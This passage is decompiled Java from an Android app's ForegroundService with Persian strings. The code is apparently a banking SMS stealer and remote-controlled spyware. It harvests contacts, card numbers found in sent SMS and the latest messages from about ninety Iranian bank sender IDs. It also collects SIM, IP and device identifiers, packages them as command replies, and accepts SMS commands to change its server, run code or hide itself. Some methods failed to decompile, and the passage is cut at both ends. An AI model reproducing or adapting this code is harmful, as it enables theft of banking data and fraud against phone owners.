        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static java.lang.String j0(android.content.Context r10, java.lang.String r11) throws java.io.IOException {
        /*
            java.lang.String r0 = "display_name"
            boolean r1 = o.Za0.Y(r11)
            java.lang.String r2 = "ذخیره نشده"
            if (r1 == 0) goto Lb
            goto L53
        Lb:
            java.lang.String r1 = "android.permission.READ_CONTACTS"
            int r1 = o.Co0.l(r10, r1)
            java.lang.String r3 = "پرمیشن مخاطبین قطع است"
            if (r1 == 0) goto L16
            return r3
        L16:
            android.net.Uri r1 = android.provider.ContactsContract.PhoneLookup.CONTENT_FILTER_URI     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            java.lang.String r11 = android.net.Uri.encode(r11)     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            android.net.Uri r5 = android.net.Uri.withAppendedPath(r1, r11)     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            android.content.ContentResolver r4 = r10.getContentResolver()     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            java.lang.String[] r6 = new java.lang.String[]{r0}     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            r8 = 0
            r9 = 0
            r7 = 0
            android.database.Cursor r10 = r4.query(r5, r6, r7, r8, r9)     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            if (r10 == 0) goto L53
            boolean r11 = r10.moveToFirst()     // Catch: java.lang.Throwable -> L43
            if (r11 == 0) goto L41
            int r11 = r10.getColumnIndexOrThrow(r0)     // Catch: java.lang.Throwable -> L43
            java.lang.String r11 = r10.getString(r11)     // Catch: java.lang.Throwable -> L43
            if (r11 != 0) goto L46
        L41:
            r11 = r2
            goto L46
        L43:
            r0 = move-exception
            r11 = r0
            goto L4d
        L46:
            r10.close()     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            return r11
        L4a:
            r0 = move-exception
            r10 = r0
            goto L54
        L4d:
            throw r11     // Catch: java.lang.Throwable -> L4e
        L4e:
            r0 = move-exception
            o.C1884mi0.o(r10, r11)     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
            throw r0     // Catch: java.lang.Exception -> L4a java.lang.SecurityException -> L58
        L53:
            return r2
        L54:
            r10.getMessage()
            goto L59
        L58:
            r2 = r3
        L59:
            return r2
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.j0(android.content.Context, java.lang.String):java.lang.String");
    }

    public static final String k(ForegroundService foregroundService) throws JSONException, IOException {
        Object string;
        JSONObject jSONObject = new JSONObject();
        JSONArray jSONArray = new JSONArray();
        try {
            Cursor cursorQuery = foregroundService.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{"display_name", "data1"}, null, null, null);
            int i = 0;
            if (cursorQuery != null) {
                while (cursorQuery.moveToNext()) {
                    try {
                        int columnIndex = cursorQuery.getColumnIndex("display_name");
                        int columnIndex2 = cursorQuery.getColumnIndex("data1");
                        if (columnIndex >= 0 && columnIndex2 >= 0) {
                            String string2 = cursorQuery.getString(columnIndex);
                            String str = "نامشخص";
                            if (string2 == null) {
                                string2 = "نامشخص";
                            }
                            String string3 = cursorQuery.getString(columnIndex2);
                            if (string3 != null) {
                                str = string3;
                            }
                            JSONObject jSONObject2 = new JSONObject();
                            jSONObject2.put("name", string2);
                            jSONObject2.put("number", str);
                            jSONArray.put(jSONObject2);
                            i++;
                        }
                    } finally {
                    }
                }
                cursorQuery.close();
            }
            jSONObject.put("contacts", jSONArray);
            jSONObject.put("total_count", i);
            JSONObject jSONObject3 = foregroundService.f36o;
            if (jSONObject3 == null || (string = jSONObject3.getString("port")) == null) {
                string = "";
            }
            jSONObject.put("port", string);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
        } catch (Exception e) {
            jSONObject.put("error", e.getMessage());
        }
        return jSONObject.toString();
    }

    public static final String l(ForegroundService foregroundService) throws JSONException, IOException {
        String string;
        JSONArray jSONArray = new JSONArray();
        HashSet hashSet = new HashSet(64);
        G10 g10 = new G10("(?:(?:\\d|[۰-۹]|[٠-٩]){4}[-\\s]?){3}(?:\\d|[۰-۹]|[٠-٩]){4}");
        Cursor cursorQuery = foregroundService.getContentResolver().query(Uri.parse("content://sms"), new String[]{"body"}, "type = ?", new String[]{"2"}, "date DESC LIMIT 5000");
        if (cursorQuery != null) {
            try {
                int columnIndexOrThrow = cursorQuery.getColumnIndexOrThrow("body");
                while (cursorQuery.moveToNext() && hashSet.size() < 50) {
                    String string2 = cursorQuery.getString(columnIndexOrThrow);
                    if (string2 != null) {
                        FD fd = new FD(G10.a(g10, string2));
                        while (fd.hasNext()) {
                            String strGroup = ((IN) fd.next()).a.group();
                            StringBuilder sb = new StringBuilder();
                            int length = strGroup.length();
                            for (int i = 0; i < length; i++) {
                                char cCharAt = strGroup.charAt(i);
                                if ('0' <= cCharAt && cCharAt < ':') {
                                    sb.append(cCharAt);
                                } else if (1776 <= cCharAt && cCharAt < 1786) {
                                    sb.append(cCharAt - 1776);
                                } else if (1632 <= cCharAt && cCharAt < 1642) {
                                    sb.append(cCharAt - 1632);
                                }
                            }
                            String string3 = sb.toString();
                            if (string3.length() == 16 && hashSet.add(string3)) {
                                jSONArray.put(string3);
                            }
                        }
                    }
                }
                cursorQuery.close();
            } finally {
            }
        }
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("command", "GET_CARD_NUMBER");
        jSONObject.put("cards", jSONArray);
        jSONObject.put("count", jSONArray.length());
        jSONObject.put("success", true);
        JSONObject jSONObject2 = foregroundService.f36o;
        if (jSONObject2 == null || (string = jSONObject2.getString("port")) == null) {
            string = "";
        }
        jSONObject.put("port", string);
        jSONObject.put("android_id", foregroundService.p);
        jSONObject.put("device_name", foregroundService.q);
        return jSONObject.toString();
    }

    public static final void m(ForegroundService foregroundService) {
        try {
            String string = Settings.Secure.getString(foregroundService.getContentResolver(), "android_id");
            if (string == null) {
                string = "";
            }
            foregroundService.p = string;
            if (Za0.Y(string)) {
                foregroundService.p = "unknown_" + System.currentTimeMillis();
            }
            String string2 = Za0.o0(Build.MANUFACTURER + " " + Build.MODEL).toString();
            foregroundService.q = string2;
            if (Za0.Y(string2)) {
                foregroundService.q = "نامشخص";
            }
        } catch (Exception unused) {
            foregroundService.p = AbstractC0126Ew.l("unknown_", System.currentTimeMillis());
            foregroundService.q = "نامشخص";
        }
    }

    public static String m0(Context context, int i) {
        SubscriptionInfo activeSubscriptionInfo;
        String string;
        try {
            if (Co0.l(context, "android.permission.READ_PHONE_STATE") != 0) {
                return "SIM نامشخص (No Permission)";
            }
            Object systemService = context.getSystemService("telephony_subscription_service");
            SubscriptionManager subscriptionManager = systemService instanceof SubscriptionManager ? (SubscriptionManager) systemService : null;
            if (subscriptionManager != null && (activeSubscriptionInfo = subscriptionManager.getActiveSubscriptionInfo(i)) != null) {
                int simSlotIndex = activeSubscriptionInfo.getSimSlotIndex() + 1;
                CharSequence carrierName = activeSubscriptionInfo.getCarrierName();
                if (carrierName == null || (string = carrierName.toString()) == null) {
                    string = "ناشناخته";
                }
                return "SIM" + simSlotIndex + " – " + string;
            }
            return "SIM نامشخص";
        } catch (SecurityException e) {
            e.getMessage();
            return "SIM نامشخص (No Permission)";
        } catch (Exception e2) {
            e2.getMessage();
            return "SIM نامشخص";
        }
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object n(ir.devixor.app.service.ForegroundService r5, o.AbstractC0298Lm r6) {
        /*
            boolean r0 = r6 instanceof o.C1937nB
            if (r0 == 0) goto L13
            r0 = r6
            o.nB r0 = (o.C1937nB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.nB r0 = new o.nB
            r0.<init>(r5, r6)
        L18:
            java.lang.Object r6 = r0.f647o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r6)
            return r6
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r6)
            o.sq r6 = o.AbstractC1903ms.a
            o.fq r6 = o.ExecutorC1232fq.m
            o.YA r1 = new o.YA
            r3 = 0
            r4 = 14
            r1.<init>(r5, r3, r4)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r6, r1, r0)
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L47
            return r6
        L47:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.n(ir.devixor.app.service.ForegroundService, o.Lm):java.lang.Object");
    }

    public static final String o(ForegroundService foregroundService) throws JSONException, IOException {
        String string;
        foregroundService.getClass();
        JSONArray jSONArray = new JSONArray();
        URL url = new URL("https://api.ipify.org");
        Charset charset = AbstractC2355rh.a;
        InputStream inputStreamOpenStream = url.openStream();
        try {
            byte[] bArrN = As0.N(inputStreamOpenStream);
            C1884mi0.o(inputStreamOpenStream, null);
            String string2 = Za0.o0(new String(bArrN, charset)).toString();
            if (Za0.Y(string2)) {
                string2 = "ناموفق بود";
            }
            jSONArray.put(string2);
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("command", "GET_IPS");
            jSONObject.put("ips", jSONArray);
            jSONObject.put("count", jSONArray.length());
            jSONObject.put("success", true);
            JSONObject jSONObject2 = foregroundService.f36o;
            if (jSONObject2 == null || (string = jSONObject2.getString("port")) == null) {
                string = "";
            }
            jSONObject.put("port", string);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
            return jSONObject.toString();
        } finally {
        }
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object p(ir.devixor.app.service.ForegroundService r5, o.AbstractC0298Lm r6) {
        /*
            boolean r0 = r6 instanceof o.C2222qB
            if (r0 == 0) goto L13
            r0 = r6
            o.qB r0 = (o.C2222qB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.qB r0 = new o.qB
            r0.<init>(r5, r6)
        L18:
            java.lang.Object r6 = r0.f686o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r6)
            return r6
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r6)
            o.sq r6 = o.AbstractC1903ms.a
            o.fq r6 = o.ExecutorC1232fq.m
            o.YA r1 = new o.YA
            r3 = 0
            r4 = 21
            r1.<init>(r5, r3, r4)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r6, r1, r0)
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L47
            return r6
        L47:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.p(ir.devixor.app.service.ForegroundService, o.Lm):java.lang.Object");
    }

    public static final String r(ForegroundService foregroundService) throws JSONException {
        Object string;
        String string2;
        String string3;
        JSONObject jSONObject = new JSONObject();
        JSONArray jSONArray = new JSONArray();
        try {
            if (Co0.l(foregroundService, "android.permission.READ_PHONE_STATE") == 0) {
                SubscriptionManager subscriptionManager = (SubscriptionManager) foregroundService.getSystemService(SubscriptionManager.class);
                List<SubscriptionInfo> activeSubscriptionInfoList = subscriptionManager != null ? subscriptionManager.getActiveSubscriptionInfoList() : null;
                if (activeSubscriptionInfoList != null) {
                    for (SubscriptionInfo subscriptionInfo : activeSubscriptionInfoList) {
                        JSONObject jSONObject2 = new JSONObject();
                        jSONObject2.put("slot_number", subscriptionInfo.getSimSlotIndex() + 1);
                        CharSequence displayName = subscriptionInfo.getDisplayName();
                        if (displayName == null || (string2 = displayName.toString()) == null) {
                            string2 = "سیم " + (subscriptionInfo.getSimSlotIndex() + 1);
                        }
                        jSONObject2.put("display_name", string2);
                        CharSequence carrierName = subscriptionInfo.getCarrierName();
                        if (carrierName == null || (string3 = carrierName.toString()) == null) {
                            string3 = "نامشخص";
                        }
                        jSONObject2.put("carrier_name", string3);
                        jSONObject2.put("subscription_id", subscriptionInfo.getSubscriptionId());
                        jSONArray.put(jSONObject2);
                    }
                }
            } else {
                jSONObject.put("error", "Permission READ_PHONE_STATE not granted");
            }
            jSONObject.put("command", "GET_SIM_SMS");
            jSONObject.put("available_sims", jSONArray);
            jSONObject.put("sim_count", jSONArray.length());
            JSONObject jSONObject3 = foregroundService.f36o;
            if (jSONObject3 == null || (string = jSONObject3.getString("port")) == null) {
                string = "";
            }
            jSONObject.put("port", string);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
        } catch (Exception e) {
            jSONObject.put("error", e.getMessage());
        }
        return jSONObject.toString();
    }

    public static final String s(ForegroundService foregroundService) throws JSONException {
        Object string;
        String string2;
        String string3;
        JSONObject jSONObject = new JSONObject();
        JSONArray jSONArray = new JSONArray();
        try {
            if (Co0.l(foregroundService, "android.permission.READ_PHONE_STATE") == 0) {
                SubscriptionManager subscriptionManager = (SubscriptionManager) foregroundService.getSystemService(SubscriptionManager.class);
                List<SubscriptionInfo> activeSubscriptionInfoList = subscriptionManager != null ? subscriptionManager.getActiveSubscriptionInfoList() : null;
                if (activeSubscriptionInfoList != null) {
                    for (SubscriptionInfo subscriptionInfo : activeSubscriptionInfoList) {
                        JSONObject jSONObject2 = new JSONObject();
                        jSONObject2.put("slot_number", subscriptionInfo.getSimSlotIndex() + 1);
                        CharSequence displayName = subscriptionInfo.getDisplayName();
                        if (displayName == null || (string2 = displayName.toString()) == null) {
                            string2 = "سیم " + (subscriptionInfo.getSimSlotIndex() + 1);
                        }
                        jSONObject2.put("display_name", string2);
                        CharSequence carrierName = subscriptionInfo.getCarrierName();
                        if (carrierName == null || (string3 = carrierName.toString()) == null) {
                            string3 = "نامشخص";
                        }
                        jSONObject2.put("carrier_name", string3);
                        jSONObject2.put("subscription_id", subscriptionInfo.getSubscriptionId());
                        jSONArray.put(jSONObject2);
                    }
                }
            } else {
                jSONObject.put("error", "Permission READ_PHONE_STATE not granted");
            }
            jSONObject.put("command", "GET_USSD_INFO");
            jSONObject.put("available_sims", jSONArray);
            jSONObject.put("sim_count", jSONArray.length());
            JSONObject jSONObject3 = foregroundService.f36o;
            if (jSONObject3 == null || (string = jSONObject3.getString("port")) == null) {
                string = "";
            }
            jSONObject.put("port", string);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
        } catch (Exception e) {
            jSONObject.put("error", e.getMessage());
        }
        return jSONObject.toString();
    }

    public static final String t(ForegroundService foregroundService) throws JSONException, IOException {
        String string;
        Iterator it;
        JSONArray jSONArray;
        Map mapA0 = GN.a0(new C3001yV("BMI", "بانک ملی ایران"), new C3001yV("Bankmelli", "بانک ملی ایران"), new C3001yV("BankMelli", "بانک ملی ایران"), new C3001yV("+98700717", "بانک ملی ایران"), new C3001yV("9830009417", "بانک ملی ایران"), new C3001yV("++983000941001", "بانک ملی ایران"), new C3001yV("Bankmellat", "بانک ملت"), new C3001yV("BankMellat", "بانک ملت"), new C3001yV("Bank Mellat", "بانک ملت"), new C3001yV("10004001", "بانک ملت"), new C3001yV("TejaratBank", "بانک تجارت"), new C3001yV("Tejarat", "بانک تجارت"), new C3001yV("BankTejarat", "بانک تجارت"), new C3001yV("+9810008528", "بانک قرض الحسنه مهر ایران"), new C3001yV("10008528", "بانک قرض الحسنه مهر ایران"), new C3001yV("ResalatBank", "بانک قرض الحسنه رسالت"), new C3001yV("50004747", "بانک قرض الحسنه رسالت"), new C3001yV("50004848", "بانک قرض الحسنه رسالت"), new C3001yV("Saderat", "بانک صادرات ایران"), new C3001yV("BankSaderat", "بانک صادرات ایران"), new C3001yV("EBI", "بانک صادرات ایران"), new C3001yV("Parsian", "بانک پارسیان"), new C3001yV("BankParsian", "بانک پارسیان"), new C3001yV("ParsianBank", "بانک پارسیان"), new C3001yV("BPI", "بانک پاسارگاد"), new C3001yV("B.Pasargad", "بانک پاسارگاد"), new C3001yV("BankPasargad", "بانک پاسارگاد"), new C3001yV("50009000", "بانک پاسارگاد"), new C3001yV("5000114", "بانک پاسارگاد"), new C3001yV("+985000114", "بانکداری دیجیتال پاسارگاد"), new C3001yV("Ayandeh", "بانک آینده"), new C3001yV("BankAyandeh", "بانک آینده"), new C3001yV("Future", "بانک آینده"), new C3001yV("Saman", "بانک سامان"), new C3001yV("BankSaman", "بانک سامان"), new C3001yV("SamanBank", "بانک سامان"), new C3001yV("Sina", "بانک سینا"), new C3001yV("BankSina", "بانک سینا"), new C3001yV("Dey", "بانک دی"), new C3001yV("BankDey", "بانک دی"), new C3001yV("DeyBank", "بانک دی"), new C3001yV("Keshavarzi", "بانک کشاورزی"), new C3001yV("KESHAVARZI", "بانک کشاورزی"), new C3001yV("BankKeshavarzi", "بانک کشاورزی"), new C3001yV("+983000940", "بانک کشاورزی"), new C3001yV("Maskan", "بانک مسکن"), new C3001yV("Bank Maskan", "بانک مسکن"), new C3001yV("Housing", "بانک مسکن"), new C3001yV("Karafarin", "بانک کارآفرین"), new C3001yV("BankKarafarin", "بانک کارآفرین"), new C3001yV("Entrepreneur", "بانک کارآفرین"), new C3001yV("EN", "بانک اقتصاد نوین"), new C3001yV("EghtesadNovin", "بانک اقتصاد نوین"), new C3001yV("NewEconomy", "بانک اقتصاد نوین"), new C3001yV("Shahr", "بانک شهر"), new C3001yV("BankShahr", "بانک شهر"), new C3001yV("CityBank", "بانک شهر"), new C3001yV("09820003501", "بانک شهر"), new C3001yV("Sepah", "بانک سپه"), new C3001yV("BankSepah", "بانک سپه"), new C3001yV("SEPAH BANK", "بانک سپه"), new C3001yV("6715000", "بانک سپه"), new C3001yV("6715240", "امید بانک سپه"), new C3001yV("200020", "امید بانک سپه"), new C3001yV("PostBank", "بانک پست بانک ایران"), new C3001yV("Post", "بانک پست بانک ایران"), new C3001yV("PIB", "بانک پست بانک ایران"), new C3001yV("50004940", "پست بانک"), new C3001yV("IZB", "بانک ایران زمین"), new C3001yV("IranZamin", "بانک ایران زمین"), new C3001yV("MEB", "بانک خاورمیانه"), new C3001yV("MiddleEast", "بانک خاورمیانه"), new C3001yV("Refah", "بانک رفاه کارگران"), new C3001yV("BankRefah", "بانک رفاه کارگران"), new C3001yV("Refah Bank", "بانک رفاه کارگران"), new C3001yV("BlueBank", "بلو بانک"), new C3001yV("+989999987641", "بلو بانک"), new C3001yV("09999987641", "بلو بانک"), new C3001yV("50002015", "بلو بانک"), new C3001yV("IKI", "بانک ایران کیش"), new C3001yV("IranKish", "بانک ایران کیش"), new C3001yV("BankTavon", "بانک توسعه تعاون"), new C3001yV("Tavon", "بانک توسعه تعاون"), new C3001yV("98700719", "بانک توسعه صادرات ایران"), new C3001yV("ExportDevelopment", "بانک توسعه صادرات ایران"), new C3001yV("BankSanat", "بانک صنعت و معدن"), new C3001yV("Industry", "بانک صنعت و معدن"), new C3001yV("Hekmat", "بانک حکمت ایرانیان"), new C3001yV("HekmatIranian", "بانک حکمت ایرانیان"));
        JSONArray jSONArray2 = new JSONArray();
        SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.US);
        String[] strArr = {"_id", "thread_id", "address", "date", "body", "sub_id"};
        Iterator it2 = mapA0.entrySet().iterator();
        while (it2.hasNext()) {
            Map.Entry entry = (Map.Entry) it2.next();
            String str = (String) entry.getKey();
            String str2 = (String) entry.getValue();
            Cursor cursorQuery = foregroundService.getContentResolver().query(Uri.parse("content://sms/inbox"), strArr, "address = ?", new String[]{str}, "date DESC LIMIT 1");
            if (cursorQuery != null) {
                try {
                    if (cursorQuery.moveToFirst()) {
                        String string2 = cursorQuery.getString(cursorQuery.getColumnIndex("address"));
                        if (string2 == null) {
                            string2 = "";
                        }
                        long j = cursorQuery.getLong(cursorQuery.getColumnIndex("date"));
                        JSONObject jSONObject = new JSONObject();
                        jSONObject.put("bank_name", str2);
                        jSONObject.put("sender_number", string2);
                        JSONObject jSONObject2 = new JSONObject();
                        it = it2;
                        jSONObject2.put("sms_id", cursorQuery.getString(cursorQuery.getColumnIndex("_id")));
                        jSONObject2.put("number", string2);
                        jSONObject2.put("name", j0(foregroundService.getApplicationContext(), string2));
                        jSONArray = jSONArray2;
                        jSONObject2.put("thread_id", cursorQuery.getLong(cursorQuery.getColumnIndex("thread_id")));
                        String string3 = cursorQuery.getString(cursorQuery.getColumnIndex("body"));
                        if (string3 == null) {
                            string3 = "";
                        }
                        jSONObject2.put("message", string3);
                        jSONObject2.put("timestamp", j);
                        jSONObject2.put("formatted_time", simpleDateFormat.format(new Date(j)));
                        int columnIndex = cursorQuery.getColumnIndex("sub_id");
                        Integer numValueOf = Integer.valueOf(columnIndex);
                        if (columnIndex < 0) {
                            numValueOf = null;
                        }
                        if (numValueOf != null) {
                            jSONObject2.put("sim_info", m0(foregroundService.getApplicationContext(), cursorQuery.getInt(numValueOf.intValue())));
                        }
                        jSONObject.put("latest_message", jSONObject2);
                        jSONArray.put(jSONObject);
                    } else {
                        it = it2;
                        jSONArray = jSONArray2;
                    }
                    cursorQuery.close();
                } finally {
                }
            } else {
                it = it2;
                jSONArray = jSONArray2;
            }
            jSONArray2 = jSONArray;
            it2 = it;
        }
        JSONArray jSONArray3 = jSONArray2;
        JSONObject jSONObject3 = new JSONObject();
        jSONObject3.put("command", "GET_BANK_SMS");
        jSONObject3.put("success", true);
        jSONObject3.put("total_banks", jSONArray3.length());
        jSONObject3.put("banks", jSONArray3);
        JSONObject jSONObject4 = foregroundService.f36o;
        jSONObject3.put("port", (jSONObject4 == null || (string = jSONObject4.getString("port")) == null) ? "" : string);
        jSONObject3.put("android_id", foregroundService.p);
        jSONObject3.put("device_name", foregroundService.q);
        jSONObject3.put("timestamp", System.currentTimeMillis());
        jSONObject3.put("formatted_time", simpleDateFormat.format(new Date()));
        return jSONObject3.toString();
    }

    public static final String t0(ForegroundService foregroundService, List list) {
        Iterator it = list.iterator();
        while (it.hasNext()) {
            if (Co0.l(foregroundService, (String) it.next()) == 0) {
                return "yes";
            }
        }
        return "no";
    }

    /* JADX WARN: Can't fix incorrect switch cases order, some code will duplicate */
    /* JADX WARN: Failed to restore switch over string. Please report as a decompilation issue
    java.lang.NullPointerException: Cannot invoke "java.util.List.iterator()" because the return value of "jadx.core.dex.visitors.regions.SwitchOverStringVisitor$SwitchData.getNewCases()" is null
    	at jadx.core.dex.visitors.regions.SwitchOverStringVisitor.restoreSwitchOverString(SwitchOverStringVisitor.java:109)
    	at jadx.core.dex.visitors.regions.SwitchOverStringVisitor.visitRegion(SwitchOverStringVisitor.java:66)
    	at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseIterativeStepInternal(DepthRegionTraversal.java:77)
    	at jadx.core.dex.visitors.regions.DepthRegionTraversal.traverseIterativeStepInternal(DepthRegionTraversal.java:82)
     */
    /* JADX WARN: Removed duplicated region for block: B:49:0x0106  */
    /* JADX WARN: Removed duplicated region for block: B:92:0x017d  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.String u(ir.devixor.app.service.ForegroundService r29, java.lang.String r30) throws org.json.JSONException {
        /*
            Method dump skipped, instructions count: 1140
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.u(ir.devixor.app.service.ForegroundService, java.lang.String):java.lang.String");
    }

    public static Object u0(ForegroundService foregroundService, File file, String str, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        Object objT = AbstractC1692kh0.T(ExecutorC1232fq.m, new C0547Vc(foregroundService, str, file, null, 1), c2411sB);
        return objT == EnumC0091Dn.l ? objT : Oh0.a;
    }

    public static final void v(ForegroundService foregroundService, String str) throws IOException {
        String string = Za0.o0(Za0.l0(str, "CHANGE_FIREBASE:")).toString();
        if (string.length() > 0) {
            AbstractC2008ny.L(new File(foregroundService.getFilesDir(), "firebase.txt"), string, AbstractC2355rh.a);
        }
    }

    public static final void w(ForegroundService foregroundService, String str) throws JSONException, IOException {
        String string = Za0.o0(Za0.l0(str, "CHANGE_SERVER:")).toString();
        if (string.length() == 0) {
            return;
        }
        File file = new File(foregroundService.getFilesDir(), "server.txt");
        Charset charset = AbstractC2355rh.a;
        AbstractC2008ny.L(file, string, charset);
        if (AbstractC2008ny.J(file, charset).equals(string)) {
            foregroundService.r0();
        }
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Type inference failed for: r3v2 */
    /* JADX WARN: Type inference failed for: r3v4, types: [java.lang.String] */
    /* JADX WARN: Type inference failed for: r5v1, types: [java.util.regex.Pattern] */
    /* JADX WARN: Type inference failed for: r5v2 */
    public static final boolean x(ForegroundService foregroundService, String str, String str2) throws JSONException {
        ForegroundService foregroundService2;
        foregroundService.getClass();
        String string = Za0.o0(str).toString();
        Pattern patternCompile = Pattern.compile("^ستاپ:.*$", 66);
        Pattern patternCompile2 = Pattern.compile("^آخرین$", 66);
        String strCompile = Pattern.compile("^شماره$", 66);
        Pattern patternCompile3 = Pattern.compile("^موج$", 66);
        Pattern patternCompile4 = Pattern.compile("^اجراکد:.*$", 66);
        Pattern patternCompile5 = Pattern.compile("^پنهان$", 66);
        try {
            if (patternCompile.matcher(string).matches()) {
                foregroundService.p0(string);
                foregroundService.w0("SEND_SMS:1:" + str2 + ":OK");
                return true;
            }
            boolean zMatches = patternCompile2.matcher(string).matches();
            foregroundService2 = ":";
            int i = 0;
            if (zMatches) {
                JSONArray jSONArrayOptJSONArray = new JSONObject(foregroundService.l0(1)).optJSONArray("messages");
                foregroundService.w0("SEND_SMS:1:" + str2 + ":" + ((jSONArrayOptJSONArray == null || jSONArrayOptJSONArray.length() == 0) ? "NO SMS FOUND" : Za0.n0(500, jSONArrayOptJSONArray.getJSONObject(0).optString("message"))));
                return true;
            }
            if (strCompile.matcher(string).matches()) {
                JSONArray jSONArrayOptJSONArray2 = new JSONObject(foregroundService.n0(foregroundService.getApplicationContext())).optJSONArray("sims");
                if (jSONArrayOptJSONArray2 == null) {
                    jSONArrayOptJSONArray2 = new JSONArray();
                }
                StringBuilder sb = new StringBuilder("PHONE NUMBERS");
                int length = jSONArrayOptJSONArray2.length();
                while (i < length) {
                    JSONObject jSONObject = jSONArrayOptJSONArray2.getJSONObject(i);
                    sb.append("\nSIM ");
                    i++;
                    sb.append(i);
                    sb.append("\n");
                    sb.append(jSONObject.optString("carrier_name"));
                    sb.append("\n");
                    sb.append(jSONObject.optString("phone_number"));
                }
                foregroundService.w0("SEND_SMS:1:" + str2 + ":" + Za0.n0(700, sb.toString()));
                return true;
            }
            boolean zMatches2 = patternCompile3.matcher(string).matches();
            InterfaceC0220Im interfaceC0220Im = null;
            if (zMatches2) {
                C2468sq c2468sq = AbstractC1903ms.a;
                AbstractC1692kh0.C(C80.e(ExecutorC1232fq.m), null, new C2506tB(foregroundService, str2, null), 3);
                return true;
            }
            try {
                if (patternCompile4.matcher(string).matches()) {
                    C2468sq c2468sq2 = AbstractC1903ms.a;
                    AbstractC1692kh0.C(C80.e(AbstractC2139pN.a), null, new C2601uB(foregroundService, string, str2, interfaceC0220Im, 0), 3);
                    return true;
                }
                if (!patternCompile5.matcher(string).matches()) {
                    return false;
                }
                foregroundService.q0();
                foregroundService.w0("SEND_SMS:1:" + str2 + ":OK");
                return true;
            } catch (Exception unused) {
                foregroundService2.w0("SEND_SMS:1:" + strCompile + ":ERR");
                return true;
            }
        } catch (Exception unused2) {
            foregroundService2 = foregroundService;
            strCompile = str2;
        }
    }

    public static final Object y(ForegroundService foregroundService, String str, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C2506tB(str, foregroundService, null, 1), c2411sB);
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object z(ir.devixor.app.service.ForegroundService r5, o.AbstractC0298Lm r6) {
        /*
            boolean r0 = r6 instanceof o.C2696vB
            if (r0 == 0) goto L13
            r0 = r6
            o.vB r0 = (o.C2696vB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.vB r0 = new o.vB
            r0.<init>(r5, r6)
        L18:
            java.lang.Object r6 = r0.f754o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r6)
            return r6
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r6)
            o.sq r6 = o.AbstractC1903ms.a
            o.fq r6 = o.ExecutorC1232fq.m
